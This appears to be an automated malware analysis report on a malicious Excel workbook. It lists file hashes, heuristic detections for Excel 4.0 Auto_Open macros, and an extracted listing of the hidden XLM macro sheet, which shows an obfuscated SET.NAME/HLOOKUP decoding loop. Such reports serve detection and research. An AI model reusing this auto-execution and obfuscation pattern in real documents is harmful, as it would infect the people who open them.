Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 236b492fa6bcb79d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:29 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: fd2986cbf3e71b6eec4f07881c379781 SHA-1: 027094c32812b4d8596b13f2edf508cc70c9767a SHA-256: 236b492fa6bcb79de95df5f20ead79ca416b5236d04404083ec5900a98e71837
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6615 bytes
SHA-256: 30da39071880a428a07fb0e3371c5cc40cc454ad786d94f080f4be4175537606
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KplU
' 0018     25 LABEL : Cell Value, String Constant - aFHvOBjdKK len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I157 
' 0018     26 LABEL : Cell Value, String Constant - eagDcHgVPGS len=0 
' 0018     22 LABEL : Cell Value, String Constant - ettFnKA len=0 
' 0018     26 LABEL : Cell Value, String Constant - eUkWGujfKET len=0 
' 0018     26 LABEL : Cell Value, String Constant - ezxRterFepD len=0 
' 0018     21 LABEL : Cell Value, String Constant - HqBACe len=0 
' 0018     24 LABEL : Cell Value, String Constant - HYoQHzwSS len=0 
' 0018     20 LABEL : Cell Value, String Constant - jPTyM len=0 
' 0018     26 LABEL : Cell Value, String Constant - KWXIIhlLRdq len=0 
' 0018     26 LABEL : Cell Value, String Constant - oegSJGRnGvw len=0 
' 0018     27 LABEL : Cell Value, String Constant - omxVqYXxIPAl len=0 
' 0018     25 LABEL : Cell Value, String Constant - pzvSiQxnUU len=0 
' 0018     24 LABEL : Cell Value, String Constant - qHxAQYFZM len=0 
' 0018     20 LABEL : Cell Value, String Constant - SSxlU len=0 
' 0018     24 LABEL : Cell Value, String Constant - WpQIEmYGk len=0 
' 0018     25 LABEL : Cell Value, String Constant - XigRLXBKNM len=0 
' 0018     21 LABEL : Cell Value, String Constant - XVhEsQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - YBaRoqDhpx len=0 
' 0018     26 LABEL : Cell Value, String Constant - YtHFFdxnNhY len=0 
' 0018     22 LABEL : Cell Value, String Constant - zLFQlAf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KplU,I64,"SET.NAME("zLFQlAf",0+VALUE("0"))",""
'  KplU,I68,"SET.NAME("ezxRterFepD",zLFQlAf)",""
'  KplU,R68,"",-344.00000000000000000000
'  KplU,R69,"",516.00000000000000000000
'  KplU,R70,"",-22.00000000000000000000
'  KplU,I71,"SET.NAME("eUkWGujfKET",zLFQlAf)",""
'  KplU,R71,"",795.00000000000000000000
'  KplU,R72,"",731.00000000000000000000
'  KplU,R73,"",-86.00000000000000000000
'  KplU,I74,"SET.NAME("pzvSiQxnUU",COUNTA(omxVqYXxIPAl))",""
'  KplU,I79,"SET.NAME("ettFnKA",COUNTA(YBaRoqDhpx))",""
'  KplU,I83,[],""
'  KplU,I88,"SET.NAME("XVhEsQ","")",""
'  KplU,I90,"ezxRterFepD",""
'  KplU,I95,"SET.NAME("eagDcHgVPGS",HLOOKUP("*",omxVqYXxIPAl,ezxRterFepD,FALSE))",""
'  KplU,I98,"qHxAQYFZM",""
'  KplU,I100,"SET.NAME("jPTyM",zLFQlAf)",""
'  KplU,I105,[],""
'  KplU,I108,"jPTyM",""
'  KplU,I112,"oegSJGRnGvw",""
'  KplU,I117,"HYoQHzwSS",""
'  KplU,I121,"WpQIEmYGk",""
'  KplU,I123,"SET.NAME("KWXIIhlLRdq",VALUE(HLOOKUP("*",YBaRoqDhpx,WpQIEmYGk,FALSE)))",""
'  KplU,I126,"YtHFFdxnNhY",""
'  KplU,I130,"XVhEsQ",""
'  KplU,I134,"eUkWGujfKET",""
'  KplU,I136,NEXT(),""
'  KplU,I141,"HqBACe",""
'  KplU,I145,[],""
'  KplU,I149,"aFHvOBjdKK",""
'  KplU,I151,NEXT(),""
'  KplU,I155,RETURN(),""
'  KplU,I186,"SET.NAME("SSxlU",I64)",""
'  KplU,I191,"omxVqYXxIPAl",""
'  KplU,I196,"SET.NAME("YBaRoqDhpx",R49C12)",""
'  KplU,I201,"SET.NAME("aFHvOBjdKK",209)",""
'  KplU,I203,"SET.NAME("XigRLXBKNM",9)",""
'  KplU,I208,SSxlU(),""
'  KplU,I209,HALT(),""

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